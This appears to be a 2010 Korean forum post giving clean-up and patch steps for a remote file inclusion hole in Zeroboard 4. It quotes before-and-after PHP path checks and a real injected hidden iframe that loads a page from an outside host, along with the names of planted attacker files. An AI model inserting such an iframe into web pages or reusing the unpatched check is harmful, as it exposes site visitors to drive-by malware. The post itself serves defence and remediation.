2010년 12월 22일 RFI 취약점 보안 패치
1. bbs/icon 폴더에 생성된 group_qazwsxedc.jpg, visitLog.php 파일 삭제
2. html, php 파일에 삽입된 iframe 소스 삭제
3. 관리자 페이지를 통해 qazwsxedc 그룹 삭제
4. 제로보드설치폴더/_head.php 파일의 13번째 줄 소스 변경(공식 보안 패치 페이지 참고)
5. 제로보드설치폴더/skin/zero_vote/ask_password.php / error.php / login.php 파일의 2번째 줄 소스 각각 변경(공식 보안 패치 페이지 참고)
※ 제로보드 공식 보안 패치
http://www.xpressengine.com/zb4_security/19346851
제로보드4 pl9 버전에서 RFI (원격파일 인클루드) 취약점이 발견되었습니다.
장경칩님께서 제보해주신 내용입니다.
_head.php 파일과 skin/zero_vote/*.php 파일에 대해 아래 내용으로 코드 수정을 통한 패치를 권드립니다.
_head.php
[수정전]
_head.php
view sourceprint?13.if(eregi(":\/\/",$_zb_path)||eregi("\.\.",$_zb_path)||eregi("^\/",$_zb_path)||eregi("data:;",$_zb_path)) $_zb_path ="./";
[수정후]
_head.php: 문자가 $_zb_path에 포함되지 않도록 수정
view sourceprint?13.if(eregi(":\/\/",$_zb_path)||eregi("\.\.",$_zb_path)||eregi("^\/",$_zb_path)||eregi("data:;",$_zb_path)||eregi(":",$_zb_path)) $_zb_path ="./";
skin/zero_vote/ 디렉토리의 아래에 해당되는 .php 파일
- ask_password.php
- error.php
- login.php
[수정전]
./skin/zero_vote/ask_password.php, error.php, login.php
view sourceprint?2.if(eregi(":\/\/",$dir)||eregi("\.\.",$dir)||eregi("^\/",$dir)||eregi("data:;",$dir)) $dir ="./";
[수정후]
./skin/zero_vote/ask_password.php, error.php, login.php
view sourceprint?2.if(eregi(":\/\/",$dir)||eregi("\.\.",$dir)||eregi("^\/",$dir)||eregi("data:;",$dir)||eregi(":",$dir)) $dir ="./";
--------------------------------------------------------------------------------------------
이번달 중순 경부터 악성 웹변조가 있었습니다.
제 사이트도 물론 당했구요.
증상은 main과 index를 포함한 .html .php 파일 하단에 아래 악성코드가 심어집니다.
<iframe src="http://h.nexprice.com/css/x.htm" width=0 height=0></iframe>
저 같은 경우 config.php lib.php 파일에도 iframe 삽입 되어 있었습니다.
그리고, bbs/icon 폴더에 group_qazwsxedc.jpg, visitLog.php 파일이 생성되구요.
★ data 폴더에는 visitLog.php 파일만 생성되어 있었구요.
또한 최고관리자 로그인 후 그룹별 헤더 인크루드 부분에서 iframe 태그가 삽입이 됨니다.
악성코드가 심어진 사이트 접속하면 무한로딩이나 저질로딩(^^;) 또는 바이러스 감지됨니다.
그전에 패치 해주면 좋겠죠..^^
참고로 제로보드4에만 해당됨니다. |
|
[1]..[591][592] 593 
